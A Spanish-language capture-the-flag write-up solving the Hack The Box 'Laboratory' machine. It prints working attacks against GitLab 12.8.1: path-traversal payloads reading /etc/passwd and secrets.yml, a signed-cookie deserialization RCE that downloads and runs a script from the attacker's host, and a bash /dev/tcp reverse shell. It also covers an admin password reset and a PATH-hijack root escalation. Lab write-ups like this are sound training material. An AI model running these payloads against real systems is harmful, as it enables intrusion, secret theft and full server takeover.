En este writeup vamos a ver cómo resolver la máquina Laboratory de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Capturar User Flag
Si ponemos la IP en el navegador web no funcionará y veremos que automáticamente cambia a laboratory.htb
Tenemos que editar el fichero de hosts y añadir esta entrada:
Volvemos al navegador y ya tendremos disponible una web en la que salta un aviso por un certificado inválido.
Si hacemos un escáner de nmap veremos que tampoco nos da muchos puertos, tan solo SSH, HTTP y HTTPS:
Sin embargo también podemos ver que hay un DNS alternativo (git.laboratory.htb)
Lo añadimos también al fichero de hosts y si entramos a esa dirección nos llevará a un panel de login de gitlab.
Vamos a analizar en busca de directorios usando gobuster para ello:
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
No obtenemos nada relevante.
Si vamos al panel de gitlab y tratamos de registrarnos con un email diferente del dominio no nos dejará y nos dará el siguiente error:
Sin embargo podemos utilizar cualquier email falso que contenga el dominio laboratory.htb que no se envía correo de confirmación.
Si nos dirigimos a https://git.laboratory.htb/help veremos que la versión de gitlab que utilizan es la GitLab Community Edition 12.8.1 y esta tiene un par de vulnerabilidades que podemos aprovechar.
Para empezar creamos dos proyectos (P1 y P2) y en el primer proyecto creamos una issue con la siguiente línea en la descripción:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Movemos la issue de P1 a P2 y automáticamente podremos descargar el fichero /etc/passwd
Seguimos la misma metodología y creamos una segunda issue con la siguiente línea:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Al moverla de P1 a P2 podremos descargar este fichero de configuración de Gitlab.
Para más información sobre esta vulnerabilidad leer este link: https://hackerone.com/reports/827052
Ahora el objetivo es efectuar un ataque de Remote Code Execution y para eso tenemos que establecer una copia en local de Gitlab con los datos del fichero de secrets.yml
Nos descargamos los paquetes Gitlab con la siguiente línea (link aqui)
wget https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_12.8.1-ce.0_amd64.deb/download.deb
La instalamos con dpkg:
sudo dpkg -i download.deb
Una vez instalado nos dirigimos a /etc/gitlab y ahi buscamos el fichero que tiene la variable de secret_key_base
grep "secret_key_base" *
Sustituimos su valor por el valor del fichero secrets.yml y ejecutamos los siguientes comandos:
$ sudo gitlab-ctl reconfigure
$ sudo gitlab-ctl restart
$ sudo gitlab-rails console
Esto nos abrirá una consola de rails con la que podemos verificar si estamos en la versión correcta (12.8.1) y desde la cual llevaremos a cabo el RCE.
Necesitamos crear un script que será el que abrirá la reverse shell con nuestra máquina.
$ nano [rev.sh](http://rev.sh/)
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.92/9001 0>&1
Levantamos un servidor local para servir este script
python -m SimpleHTTPServer 8000
Abrimos una conexión en Netcat:
sudo nc -nlvp 9001
Y desde la consola de rails de gitlab vamos a generar una cookie en la que haremos que se descargue este script, le de permisos de ejecución y lo ejecute en el servidor de producción.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `wget http://10.10.14.92:8000/rev.sh && chmod +x rev.sh && ./rev.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Copiamos la cookie generada y lanzamos la siguiente petición:
$ curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAX8jY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgd2dldCBodHRwOi8vMTAuMTAuMTQuOTI6ODAwMC9yZXYuc2ggJiYgY2htb2QgK3ggcmV2LnNoICYmIC4vcmV2LnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--f773c08b624dd244e7e0c0e842fb833f9fcca6ee" -k
Esto automáticamente hará que en nuestra pestaña de netcat se nos abra una conexión nueva con el usuario git. Ya tenemos remote-shell. Ahora solo queda escalar privilegios y conseguir las FLAGS.
En esta conexión reversa podemos ejecutar la consola de gitlab-rails para setear la contraseña del usuario con id 1. Para ello:
gitlab-rails console -e production
user = User.where(id: 1).first
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Una vez hecho esto ya podemos volver a la web de https://git.laboratory.htb/users/sign_in y loguearnos con los siguientes datos:
- Usuario: dexter
- Password: password
Cuando entremos en su panel veremos dos repositorios. En el repositorio de SecureDocker encontraremos el directorio .ssh con sus claves privadas que procederemos a descargar para poder hacer ssh a la máquina.
Para generar las clave pública lo hacemos con el siguiente comando:
ssh-keygen -y -f id_rsa > id_rsa.pub
Si da un error de Invalid Format lo mejor que se puede hacer es irse al repositorio y copiarla de nuevo como raw en un fichero nuevo.
Si da un error de Bad Permissions hay que ejecutar lo siguiente:
chmod 600 ~/.ssh/id_rsa
Una vez hecho esto ya podremos hacer ssh con el usuario dexter
$ ssh dexter@10.10.10.216
Y en su home encontraremos el fichero user.txt con la USER Flag.
Capturar Root Flag
Lo primero que vamos a hacer es buscar binarios que tengan SUID activado. Para ello:
find / -perm -4000 2>/dev/null
Vemos el siguiente binario con permisos SUID:
Si ejecutamos el binario vemos que no pasa nada.
Así que vamos a depurarlo con ltrace.
Ahí vemos que invoca a /usr/bin/docker con permisos de root.
Podemos realizar una escalada de privilegios vulnerando la variable $PATH.
Si vemos el valor de $PATH veremos que tiene incluido el directorio /usr/bin.
Lo que vamos a hacer es crear un script que invoque una shell y le daremos permisos 777. Este script lo llamaremos chmod así cuando se ejecute docker-security en la primera línea que vemos con ltrace se ejecutará nuestro script en lugar del binario del sistema.
$ cd /tmp
$ echo "/bin/bash" > chmod
$ chmod 777 chmod
$ echo $PATH
$ export PATH=/tmp:$PATH
$ cd /usr/local/bin
$ ./docker-security
Después de ejecutar esto ya seremos root y podremos leer la ROOT Flag en /root/root.txt